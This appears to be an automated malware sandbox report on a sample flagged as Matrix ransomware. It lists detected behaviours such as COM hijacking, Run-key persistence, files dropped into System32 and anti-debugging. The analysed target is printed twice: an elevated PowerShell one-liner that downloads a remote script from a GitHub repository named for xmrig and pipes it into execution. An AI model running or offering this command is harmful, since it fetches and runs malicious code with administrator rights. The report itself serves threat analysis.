General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

  • Sample

    241115-r38f8avlhw

Malware Config

Targets

    • Target

      http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

    • Matrix Ransomware

      Targeted ransomware with information collection and encryption functionality.

    • Matrix family

    • Downloads MZ/PE file

    • Drops file in Drivers directory

    • A potential corporate email address has been identified in the URL: [email protected]

    • Event Triggered Execution: Component Object Model Hijacking

      Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    • Executes dropped EXE

    • Loads dropped DLL

    • Modifies system executable filetype association

    • Adds Run key to start application

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Legitimate hosting services abused for malware hosting/C2

    • Drops file in System32 directory

    • Sets desktop wallpaper using registry

    • Suspicious use of NtSetInformationThreadHideFromDebugger

MITRE ATT&CK Enterprise v15

Tasks